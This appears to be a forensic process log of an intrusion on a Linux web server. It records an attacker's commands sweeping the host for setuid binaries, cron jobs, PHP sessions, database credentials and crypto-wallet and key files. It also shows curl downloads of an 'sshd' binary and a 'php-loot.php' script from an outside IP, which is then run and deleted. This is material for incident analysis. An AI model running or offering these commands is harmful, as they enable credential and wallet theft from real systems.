--exclude-dir='collect-*' --exclude-dir='recon-*' --exclude-dir='
2026-10-31 01:26:5123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 60 sh -c grep -RInE -I -m 5 --exclude-dir=vendor --exclude-dir=node_modules --exclude-dir=.git --exclude-dir=tests --exclude-dir=docs --exclude-dir=dist --exclude-dir=build --exclude-dir=coverage --exclude-dir='<REDACTED>-20261031' --exclude-dir='collect-*' --exclude-dir='recon-*' --ex
2026-10-31 01:26:5623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log
2026-10-31 01:26:5623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -laR /var/log
2026-10-31 01:26:5623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r ; sh -c echo "== log tree"; ls -laR /var/log 2>/dev/null | head -200 for f in /var/log/apache2/access.log /var/log/apache2/error.log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/auth.log /var/log/secure /var/log/syslog /var/log/messages /var/log/cron /var/log/mysql/error.log; do [ -r
2026-10-31 01:26:5623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /srv /opt /home -xdev -type f ( -name *.log -o -path */logs/* ) -size -10M -printf %s %p\n
2026-10-31 01:27:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearls /tmp/<REDACTED>-20261031 ; ps -eo pid,etime,args ; grep -c collect ; bash -c ls /tmp/<REDACTED>-20261031; echo ---; ps -eo pid,etime,args | grep -c collect
2026-10-31 01:27:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -4000 -printf %m %u %g %p\n
2026-10-31 01:27:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /srv /opt /home /tmp -xdev ( -path /tmp/<REDACTED>-20261031 -prune ) -o -type f -mtime -14 -printf %TY-%Tm-%Td %TH:%TM %s %p\n
2026-10-31 01:27:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty ; sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -prune -o -ty
2026-10-31 01:27:0123.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== recent 14d"; find /var/www /srv /opt /home /tmp -xdev \( -path "/tmp/<REDACTED>-20261031" -prune \) -o -type f -mtime -14 -printf "%TY-%Tm-%Td %TH:%TM %s %p\n" 2>/dev/null | sort -r | head -200 echo "== setuid"; find / -xdev \( -path /proc -o -path /sys -o -path /dev \) -p
2026-10-31 01:27:2423.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -perm -2000 -printf %m %u %g %p\n
2026-10-31 01:27:4623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions -maxdepth 2 -type f -name sess_* -size -64k -print
2026-10-31 01:27:4623.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/lib/php/sessions /var/lib/php5 /tmp /var/www/html/var/sessions /var/www/html/storage/framework/sessions /var/www/html/var/cache -maxdepth 3 -type f ( -name sess_* -o -name *.session -o -name tokencache.* ) -printf %s\t%p\n
2026-10-31 01:28:00Not attributedNot attributedbash -> bashcurl -sS -o .j/sshd http://206.245.153.56:8088/j485/sshd
2026-10-31 01:28:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c ; sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for f in /etc/c
2026-10-31 01:28:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentdropbear -> dropbearbash -c ps -eo pid,etime,args|grep collect|grep -v grep; ls /tmp/<REDACTED>-20261031 | wc -l; ls /tmp/<REDACTED>-20261031 ; ps -eo pid,etime,args ; grep collect ; grep -v grep ; ls /tmp/<REDACTED>-20261031 ; wc -l ; ls /tmp/<REDACTED>-20261031
2026-10-31 01:28:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== crontab"; crontab -l 2>/dev/null echo "== /etc/crontab"; cat /etc/crontab 2>/dev/null echo "== cron dirs"; ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron 2>/dev/null echo "== cron files"; for
2026-10-31 01:28:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -size -256k -print
2026-10-31 01:28:1723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/www /srv /opt /home -xdev -type f ( -path *upload* -o -path *storage/app* -o -path *web/uploads* -o -path *var/uploads* -o -path *assets* -o -path *media* ) -printf %s\t%TY-%Tm-%Td\t%p\n
2026-10-31 01:28:2223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /var/lib /var/www /srv /opt /home -xdev -type f ( -name *.sqlite -o -name *.sqlite3 -o -name *.db -o -name *.sql -o -name *.dump -o -name dump.rdb -o -name *.bson ) -size -50M -printf %s\t%p\n
2026-10-31 01:28:2223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql" ; sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -name "*.sql"
2026-10-31 01:28:2223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== clients"; for b in mysql mysqldump psql pg_dump sqlite3 redis-cli mongo mongosh; do printf "%s=" "$b"; command -v "$b" 2>/dev/null; done echo "== db files"; find /var/lib /var/www /srv /opt /home -xdev -type f \( -name "*.sqlite" -o -name "*.sqlite3" -o -name "*.db" -o -na
2026-10-31 01:28:2223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /var/spool/cron/crontabs /var/spool/cron
2026-10-31 01:28:2223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /etc/supervisor /etc/supervisor/conf.d
2026-10-31 01:28:2223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcat /etc/crontab
2026-10-31 01:28:2723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shgrep -RInE -I -m 3 mysql://|postgres|DATABASE_URL|DB_HOST|DB_DATABASE|DB_USERNAME|DB_PASSWORD|redis://|mongodb:// /var/www /srv /opt /home /etc
2026-10-31 01:28:2723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shfind /root /home /var/www /srv /opt /tmp -xdev -type f ( -name wallet.dat -o -name *.wallet -o -name UTC--* -o -name *.kdbx -o -iname *keystore* -o -iname *mnemonic* -o -iname *seed*.txt -o -name *.key ) -printf %s\t%p\n
2026-10-31 01:28:2723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 40 sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sor
2026-10-31 01:28:2723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shls -la /var/lib/mysql /var/lib/postgresql /var/lib/redis /var/lib/mongodb
2026-10-31 01:28:2723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea ; sh -c echo "== wallet files"; find /root /home /var/www /srv /opt /tmp -xdev -type f \( -name "wallet.dat" -o -name "*.wallet" -o -name "UTC--*" -o -name "*.kdbx" -o -iname "*keystore*" -o -iname "*mnemonic*" -o -iname "*seed*.txt" -o -name "*.key" \) -printf "%s\t%p\n" 2>/dev/null | sort -nr | hea
2026-10-31 01:28:3723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shphp /tmp/.php-loot.390.php /tmp/<REDACTED>-20261031/php
2026-10-31 01:28:3723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shtimeout 120 sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php'
2026-10-31 01:28:3723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB senttimeout -> timeoutsh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php' ; sh -c php '/tmp/.php-loot.390.php' '/tmp/<REDACTED>-20261031/php'
2026-10-31 01:28:3723.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shcurl -sS --max-time 20 -o /tmp/.php-loot.390.php http://206.245.153.56:8088/tools/php-loot.php
2026-10-31 01:28:4923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shrm -f /tmp/.php-loot.390.php
2026-10-31 01:28:4923.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shps -e
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shuname -r
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shuname -m
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shuname -a
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shsed -n s/^PRETTY_NAME=//p /etc/os-release
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shid -Gn
2026-10-31 01:28:5223.234.81.67, 206.245.153.56206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sentsh -> shid -u
